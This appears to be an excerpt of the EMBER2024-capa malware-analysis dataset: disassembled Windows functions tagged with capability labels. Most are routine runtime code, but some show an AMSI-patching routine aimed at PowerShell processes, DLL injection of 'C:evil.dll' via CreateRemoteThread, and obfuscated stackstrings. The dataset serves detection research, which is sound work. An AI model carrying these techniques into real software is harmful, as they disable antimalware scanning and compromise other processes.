joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d840
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xf8
call fcn.14000cc80
movdqa xmm0, xmmword [0x14000e880]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x14000e7b0]
xor ebx, ebx
movdqu xmmword [rbp - 0x59], xmm0
mov qword [rbp + 0x6f], rbx
movdqa xmm0, xmmword [0x14000e8b0]
movdqu xmmword [rbp - 0x39], xmm0
mov dword [rbp + 0x67], ebx
movdqu xmmword [rbp - 0x49], xmm1
mov word [rbp - 0x29], 0x3d01
mov byte [rbp - 0x27], 0x7a
call fcn.140002230
mov rdx, rax
xor r9d, r9d
lea rax, [rbp + 0x67]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rcx, 0xffffffff80000001
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf013f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140009a63
mov rcx, qword [rbp + 0x6f]
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xe8], r12
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xd0], r15
call fcn.14000c810
mov eax, 0x4c
mov dword [rbp - 0x59], 0x2f0025
lea rcx, [rbp - 0x59]
mov word [rbp - 0x35], ax
mov dword [rbp - 0x55], 0x1b002b
mov dword [rbp - 0x51], 0x46000a
mov dword [rbp - 0x4d], 0x30029
mov dword [rbp - 0x49], 0x3b0005
mov dword [rbp - 0x45], 0x30047
mov dword [rbp - 0x41], 0x1a000f
mov dword [rbp - 0x3d], 0x110019
mov dword [rbp - 0x39], 0xa003d
call fcn.140001b30
lea rcx, [rbp - 0x25]
mov dword [rbp - 0x25], 0x230030
mov rbx, rax
mov dword [rbp - 0x21], 0x590021
mov dword [rbp - 0x1d], 0x90009
mov dword [rbp - 0x19], 0x180001
mov dword [rbp - 0x15], 0x6f0018
mov dword [rbp - 0x11], 0x320010
mov dword [rbp - 0xd], 0x59001d
mov dword [rbp - 9], 0x50001
mov dword [rbp - 5], 0xc0039
mov dword [rbp - 1], 0x3c0029
mov dword [rbp + 3], 0x25003d
mov dword [rbp + 7], 0x380038
mov dword [rbp + 0xb], 0x110029
mov dword [rbp + 0xf], 0x2b0069
mov dword [rbp + 0x13], 0x260017
mov dword [rbp + 0x17], 0x110003
mov dword [rbp + 0x1b], 0x360020
mov dword [rbp + 0x1f], 0x130013
mov dword [rbp + 0x23], 0x42007f
call fcn.140001eb0
mov r9d, 0x40
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r15, qword [rsp + 0xd0]
mov al, 1
mov r14, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0x120]
add rsp, 0xf8
pop rbx
pop rbp
ret
xor al, al
add rsp, 0xf8
pop rbx
pop rbp
ret
jmp 0x140009860
Function at 0x140002068
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400020b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400020b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400020b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400020b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400020b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400020b4
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400010aa
nop dword [rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001094
add rax, 2
test ecx, ecx
jne 0x140001080
test edx, edx
je 0x1400010d6
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001070
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001690
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
mov eax, 1
jmp 0x1400010b5
Function at 0x3808c1678
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov dword [rbp + 0xd8], 0
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
je 0x3808c1794
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
setne al
test al, al
je 0x3808c1794
mov eax, dword [rbp - 0x58]
test eax, eax
jne 0x3808c1708
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xd8], eax
mov eax, dword [rbp + 0xd8]
mov ecx, eax
call sym.men.dll_patchAmsi_unsigned_long_
mov dword [rbp + 0xdc], eax
cmp dword [rbp + 0xdc], 0
setne al
test al, al
je 0x3808c1748
mov eax, dword [rbp - 0x58]
mov edx, eax
lea rax, str.AMSI_patched__d_n
mov rcx, rax
call sym.men.dll_printf_char_const__::_
jmp 0x3808c1774
cmp dword [rbp + 0xdc], 0x90
jne 0x3808c1765
lea rax, str.already_patched__n
mov rcx, rax
call sym.men.dll_printf_char_const__::_
jmp 0x3808c1774
lea rax, str.patch_failed__n
mov rcx, rax
call sym.men.dll_printf_char_const__::_
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x3808c1708
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x160
pop rbp
ret

Function at 0x3808c17b1
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.powershell.exe
mov rcx, rax
call sym.men.dll_PatchAllPowershells_char_const_
lea rax, str.AMSI_patched_in_all_powershells_n
mov rcx, rax
call sym.men.dll_printf_char_const__::_
lea rax, str.pause
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x3808c19a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x3808c1a10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x3808e3064]
mov rbx, rcx
test esi, esi
jle 0x3808c1b40
mov rax, qword [0x3808e3068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3808c1a5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3808c1ae5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3808c1a40
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x3808c1b62
mov rax, qword [0x3808e3068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3808e3068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3808c1b47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3808c1ade
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3808c1af0
add dword [0x3808e3064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x3808e3068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3808c1ade
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x3808c1a68
mov rax, qword [0x3808e3068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3808c1ee0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3808e30a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3808e3080]
test rbx, rbx
je 0x3808c1f3c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3808c1f33
test rsi, rsi
je 0x3808c1f33
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3808c1f18
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3808c2150
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x3808c2168
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x3808c2170
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x3808c2180
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x3808c21cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x3808c21c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x3808c21cf
add rax, 0x28
cmp rax, r9
jne 0x3808c21b0
xor eax, eax
ret

Function at 0x3808c21d0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x3808c2260
mov rdx, qword [0x3808e0630]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x3808c224e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x3808c224e
cmp word [rax + 0x18], 0x20b
jne 0x3808c224e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x3808c2260
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x3808c2239
add rbx, 0x28
cmp rbx, rdi
je 0x3808c2260
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x3808c2230
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x3808c2270
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3808e0630]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3808c2290
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3808c2298
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3808c2290
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3808c22ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3808c22e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3808c2290
add rax, 0x28
cmp rax, r9
jne 0x3808c22d0
xor eax, eax
ret

Function at 0x3808c22f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3808e0630]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3808c230f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3808c2318
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3808c230f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3808c2330
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x3808e0630]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x3808c2350
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x3808c2358
ret
cmp word [rdx + 0x18], 0x20b
jne 0x3808c2350
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x3808c23a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x3808c2397
test rcx, rcx
je 0x3808c2350
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x3808c2388
xor eax, eax
ret
Function at 0x3808c23b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3808e0630]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3808c23cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3808c23d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x3808c23f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3808e0630]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3808c2410
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3808c2418
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3808c2410
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x3808c2410
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x3808c2464
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x3808c2470
add rdx, 0x28
cmp r9, rdx
jne 0x3808c2450
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x3808c2480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x3808e0630]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x3808c24a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x3808c24b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3808c24a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x3808c24a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x3808c24a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x3808c2505
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x3808c2518
add rdx, 0x28
cmp rdx, r10
jne 0x3808c24f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x3808c2527
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x3808c2537
mov edx, dword [rax + 0xc]
test edx, edx
je 0x3808c250e
test ecx, ecx
jg 0x3808c2520
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001830
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400077b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400077b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x1400018a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000c0a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001a50
mov rax, qword [0x14000c0a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400018ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001977
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x1400018d0
mov rcx, r12
call fcn.140002350
mov rbp, rax
test rax, rax
je 0x140001aad
mov rax, qword [0x14000c0a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.140002480
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000c0a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a92
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001970
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a00
add dword [0x14000c0a4], 1
cmp ebx, 8
jae 0x1400019a8
test bl, 4
jne 0x140001a60
test ebx, ebx
je 0x140001999
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001a80
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001999
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x1400019da
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000c0a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001970
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001830
xor edi, edi
jmp 0x1400018f7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001999
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001999
mov rax, qword [0x14000c0a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140001830
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001830
nop
nop dword [rax]
Function at 0x140001fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000c100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x140002014
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000200b
test r12, r12
je 0x14000200b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ff0
lea rcx, [0x14000c100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002350
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140009740]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1400023c9
mov rcx, r10
call fcn.140002220
test eax, eax
je 0x1400023c9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1400023c6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400023bd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1400023c9
add r8, 0x28
cmp r8, r9
jne 0x1400023a8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x1400079d0
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r8d, 1
xor edx, edx
lea rax, [rsp + 0x34]
mov rdi, rcx
lea r9, [rsp + 0x38]
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], 0
call sub.WTSAPI32.dll_WTSEnumerateProcessesA
mov r12d, eax
test eax, eax
je 0x140007a4f
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x140007a60
mov rbp, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
xor ebx, ebx
xor esi, esi
jmp 0x140007a2d
add esi, 1
add rbx, 0x18
cmp dword [rsp + 0x34], esi
jbe 0x140007a60
mov rax, qword [rsp + 0x38]
mov rcx, rdi
mov rdx, qword [rax + rbx + 8]
call rbp
test eax, eax
jne 0x140007a20
mov rcx, qword [rsp + 0x38]
mov r12d, dword [rcx + rbx + 4]
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, r12d
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x38]
xor r12d, r12d
jmp 0x140007a4a
Function at 0x140007ac0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x40
mov rbx, rdx
call fcn.140001610
mov rcx, qword [rbx + 8]
call fcn.1400079d0
lea rdx, str.process_found_at_pid_
lea rcx, str._s_d_n
test eax, eax
mov r12d, eax
lea rax, str.process_not_found._pid_
cmovle rdx, rax
mov r8d, r12d
call fcn.140007a70
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, r12d
xor edx, edx
mov ecx, 0x1f0fff
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
je 0x140007bbc
mov r8d, dword [0x140008100]
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [0x140008100]
lea r8, str.C:evil.dll
mov rcx, r12
mov qword [rsp + 0x20], 0
mov rbx, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop r12
ret
lea rcx, str.OpenProcess_failed__exiting..._n
call fcn.140007a70
mov eax, 0xfffffffe
jmp 0x140007bb3
Function at 0x140006140
Capabilities:
Get geographical location

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x140006313
sub rsp, 0x78
mov qword [rsp + 0x70], rbp
lea rbp, [rsp + 0x70]
mov rdx, qword [rax + 8]
nop dword [rax]
test rdx, rdx
je 0x1400061d1
cmp rcx, rdx
jae 0x1400061c7
sub rdx, rcx
cmp rdi, rdx
cmova rdi, rdx
movzx edx, byte [rax + 0x17]
test dl, 0x40
je 0x1400061ae
and edx, 0x1f
cmp dl, 0x11
jne 0x140006194
mov qword [rsp + 0x80], rax
xor edx, edx
jmp 0x1400062a0
cmp dl, 0x19
jne 0x14000627e
mov rdx, qword [rax + 0x38]
mov rsi, qword [rax + 0x40]
mov qword [rsp + 0x48], rsi
xor eax, eax
jmp 0x1400061eb
mov rdx, qword [rax + 0x20]
mov rax, rbx
mov rbx, rdx
call fcn.140006060
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
add rdx, 0x18
inc rax
sub rdi, r8
mov rcx, r9
mov rbx, r10
cmp rax, rsi
jge 0x140006274
mov r8, qword [rdx + 8]
cmp qword [r8], rcx
jbe 0x140006248
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x60], r8
mov rax, r8
nop
call fcn.140006140
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x38]
mov r8, qword [rsp + 0x60]
mov r8, qword [r8]
cmp rcx, r8
mov r9, rcx
cmova rcx, r8
mov r10, r8
sub r8, rcx
sub r9, rcx
add r10, rbx
cmp rdi, r8
ja 0x1400061db
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
lea rax, [0x14097318e]
mov ebx, 0xc
call fcn.140038480
inc rdx
sub rdi, rsi
mov rcx, r8
mov rbx, r9
nop dword [rax + rax]
cmp qword [rax + 0x40], rdx
jbe 0x140006274
mov rsi, qword [rax + 0x30]
cmp qword [rsi], rcx
jbe 0x1400062e7
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x28], rcx
mov rax, rsi
call fcn.140006140
